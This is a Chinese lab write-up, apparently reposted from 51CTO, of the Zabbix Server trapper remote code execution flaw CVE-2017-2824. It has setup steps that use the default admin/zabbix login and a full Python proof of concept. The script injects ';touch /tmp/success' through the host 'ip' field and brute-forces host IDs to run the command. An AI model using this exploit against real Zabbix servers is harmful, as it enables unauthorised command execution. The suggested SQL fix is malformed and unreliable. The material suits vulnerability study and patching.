当前位置:网站首页>Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)
Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)
2022-06-10 18:40:00 【51CTO】
漏洞描述
Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。Zabbix Server 2.4.X版本中的trapper command功能存在远程代码执行漏洞。恶意人员可远程利用该漏洞注入命令,执行代码。
安全等级
- 高危
影响版本
- Zabbix 2.4.7 - 2.4.8r1
修复建议
- 删除Zabbix数据库中的默认脚本条目,数据库操作 SQL为: use zabbix; delete * from scripts;
- 及时安装官方补丁升级
环境搭建
使用vulhub中的漏洞环境进行测试
测试示例
示例一
使用poc进行验证
验证前需要登录到zabbix开启自动注册功能,直接使用poc的话无法验证
访问zabbix登录界面,使用默认账号密码进行登录admin/zabbix
在Configuration-Actions下选择Auto registration,然后Create action

然后设置一个名称,然后选择Operations

选择Add-Add host,选择完成后,点击下方的Add添加后,再点击蓝色的Add,即可创建成功


在该漏洞目录下,提供了该漏洞的利用方法README.md和利用脚本exploit.py

poc如下:
import
sys
import
socket
import
json
import
sys
def
send(
ip,
data):
conn
=
socket.
create_connection((
ip,
10051),
10)
conn.
send(
json.
dumps(
data).
encode())
data
=
conn.
recv(
2048)
conn.
close()
return
data
target
=
sys.
argv[
1]
print(
send(
target, {
"request":
"active checks",
"host":
"vulhub",
"ip":
";touch /tmp/success"}))
for
i
in
range(
10000,
10500):
data
=
send(
target, {
"request":
"command",
"scriptid":
1,
"hostid":
str(
i)})
if
data
and
b'failed'
not
in
data:
print(
'hostid: %d'
%
i)
print(
data)
- 1.
- 2.
- 3.
- 4.
- 5.
- 6.
- 7.
- 8.
- 9.
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.
- 17.
- 18.
- 19.
- 20.
- 21.
在poc中的10051为docker中zabbix-server的映射端口
通过docke ps查看映射端口,需根据实际情况更改
目标的ip无需在poc中设置

使用poc进行验证,后面的ip地址为目标ip地址
可能会失败很多次,最后也是通过反复重启镜像后才验证成功的

成功后进入docker的zabbix-server镜像内部
在tmp下找到了创建的success文件

边栏推荐
- Chapter 161 SQL function year
- 2022.05.29(LC_6079_价格减免)
- Performance and high availability analysis of database firewall
- 领域驱动设计(六) - 架构设计浅谈
- 2022.05.28(LC_5_最长回文子串)
- C (pointer-02)
- Some questions often asked during the interview. Come and see how many correct answers you can get
- Chapter III data type (II)
- 【 Web 】 page d'accueil personnelle 】 Programme d'études 】 albums de photos 】 babillard d'information 】
- SPSS入门笔记记录
猜你喜欢

Openssl1.1.1 compilation error can't locate win32/console pm in @INC

Tencent cloud database tdsql- a big guy talks about the past, present and future of basic software

2022.05.26(LC_1143_最长公共子序列)

基于JSP的医院预约挂号平台设计与开发.zip(论文+项目源码)

Apicloud visual development - one click generation of professional source code

openSSL1.1.1编译错误 Can‘t locate Win32/Console.pm in @INC

【代理】10分钟掌握正向代理和反向代理的本质区别

【 Web 】 page d'accueil personnelle 】 Programme d'études 】 albums de photos 】 babillard d'information 】

SAR回波信号基本模型与性质

2022.05.28(LC_5_最长回文子串)
随机推荐
Analysis of optical storage direct flexible power distribution system
Sliding window maximum value problem
Nodejs judge system type get host name execute console command Chinese garbled code
c指针(面试经典题目练习)
Classic 6 pain points of data governance? This book teaches you to solve
Chapter 1 SQL operators
SPSS入门笔记记录
Key and encryption mechanism in financial industry
【杂谈】恭喜自己获得CSDN专家称号,努力终会换来结果
金融行业的密钥及加密机制
改变世界的开发者丨玩转“俄罗斯方块”的瑶光少年
单纯形法代码求解(含超详细代码注释和整个流程图)
[database language SPL] a simple and fast database language SPL
2022.05.23(LC_300_最长递增子序列)
Array signal processing simulation part IV -- Z-transform analysis array polynomial
SPSS introductory notes
MySQL (17 trigger)
Debugging skills
Apicloud visual development - one click generation of professional source code
写作技术文章是留给自己未来的财富